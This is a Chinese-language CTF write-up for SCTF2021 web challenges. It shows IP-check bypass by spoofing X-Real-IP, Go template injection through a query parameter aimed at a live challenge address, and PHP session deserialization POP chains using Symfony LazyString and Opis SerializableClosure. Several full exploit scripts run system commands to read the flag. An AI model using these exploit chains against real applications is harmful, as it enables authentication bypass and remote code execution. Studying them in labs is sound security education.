Loginme
有源码,没学过go,瞎看middleware.go
package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
大致意思就是需要伪造ip
,但不能使用x-forwarded-for
和x-client-ip
,我们尝试使用x-remote-ip
和x-real-ip
,使用x-real-ip
成功伪造127.0.0.1
然后查看route.go
func Login(c *gin.Context) {
idString, flag := c.GetQuery("id")
·····
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
······
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
if err != nil {
c.AbortWithError(500, err)
}
······
tmpl.Execute(c.Writer, TargetUser)
}
这段代码我只将重要部分写了出来,这里使用了fmt.Sprintf
格式化字符串,与之前学过的flask
框架相似,使用格式化字符串可能会出现SSTI
,这里将age
渲染到了页面里,而且如果age
在所输入的用户id
中不存在的话,age
是可控的,所以就导致了SSTI
,简单查看了一下,发现了{{.msg}}
大致就知道该如何注入了
http://124.71.166.197:18001/admin/index?id=0&age={{.Password}}
Header X-real-IP:127.0.0.1
Upload_it
只有一个文件上传的点,经过多次上传发现目录只能穿越到/tmp
,然后应该就只能想到 session
相关的知识点了,
然后发现给了composer.json
"require": {
"symfony/string": "^5.3",
"opis/closure": "^3.6"
}
应该是要通过这俩个依赖找到pop链从而实现session反序列化攻击
分析主要源码:
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
这里使用了$_SESSION['upload_path']
进行字符串拼接,所以可以触发__toString
方法,开始找链子
链子一
通过搜索,可以发现在Symfony\Component\String\LazyString
存在该魔术方法并在第12行有很明显的跳转到__invoke
namespace Symfony\Component\String;
class LazyString implements \Stringable, \JsonSerializable
{
public function __toString()
{
if (\is_string($this->value)) {
return $this->value;
}
try {
return $this->value = ($this->value)();
} catch (\Throwable $e) {
if (\TypeError::class === \get_class($e) && __FILE__ === $e->getFile()) {
$type = explode(', ', $e->getMessage());
$type = substr(array_pop($type), 0, -\strlen(' returned'));
$r = new \ReflectionFunction($this->value);
$callback = $r->getStaticVariables()['callback'];
$e = new \TypeError(sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type));
}
if (\PHP_VERSION_ID < 70400) {
// leverage the ErrorHandler component with graceful fallback when it's not available
return trigger_error($e, \E_USER_ERROR);
}
throw $e;
}
}
}
再通过搜索__voke
方法,找到Opis\Closure\SerializableClosure
,可以传入一个匿名函数Closure
,并在__invoke
中执行
namespace Opis\Closure;
class SerializableClosure implements Serializable
{
public function __construct(Closure $closure)
{
$this->closure = $closure;
if (static::$context !== null) {
$this->scope = static::$context->scope;
$this->scope->toserialize++;
}
}
public function __invoke()
{
return call_user_func_array($this->closure, func_get_args());
}
}
构造链子
<?php
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value = $value;
}
}
}
namespace {
require "./vendor/autoload.php";
$func = function(){system("cat /flag");};
$d = new \Opis\Closure\SerializableClosure($func);
$s = new \Symfony\Component\String\LazyString($d);
session_start();
$_SESSION['upload_path'] = $s;
}
然后将生成的session文件上传后使用该session访问即可获得flag
链子二
这个就不细说了,基本都差不多,看exp就可以看得出来
<?php
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct($value){
$this->value=$value;
}
}
}
namespace {
require "./vendor/autoload.php";
$func = function(){system('cat /flag');};
$a = \Opis\Closure\serialize($func);
$b = unserialize($a);
$s = new \Symfony\Component\String\LazyString($b);
session_start();
$_SESSION["upload_path"] = $b;
}
Upload_it_2
看大师傅们wp说就是换个链子,5555555
exp1:
<?php
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value = $value;
}
}
}
namespace {
class sandbox {
private $evil;
public function __construct(){
$this->evil = "/flag";
}
}
$a = [new sandbox,"backdoor"];
$s = new \Symfony\Component\String\LazyString($a);
echo urlencode(serialize($s));
}
exp2:
<?php
namespace {
class sandbox {
private $evil = "/flag";
public $upload_path;
public function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($this->upload_path);
$_SESSION["upload_path"] = $this->upload_path;
}
public function has_upload_dir() {
return !empty($_SESSION["upload_path"]);
}
public function __wakeup() {
throw new Error("NO NO NO");
}
public function __destruct() {}
public function __call($func, $value) {
if (method_exists($this, $func)) {
call_user_func_array(
[$this, $func],
$value
);
}
}
private function backdoor() {
include_once $this->evil;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
$a = array(new \sandbox(),"backdoor");
$this->value=$a;
}
}
session_start();
$a = new LazyString();
$_SESSION["upload_path"] = $a;
}
标签:__,function,upload,value,SCTF2021,func,path
From: https://www.cnblogs.com/seizer/p/17035739.html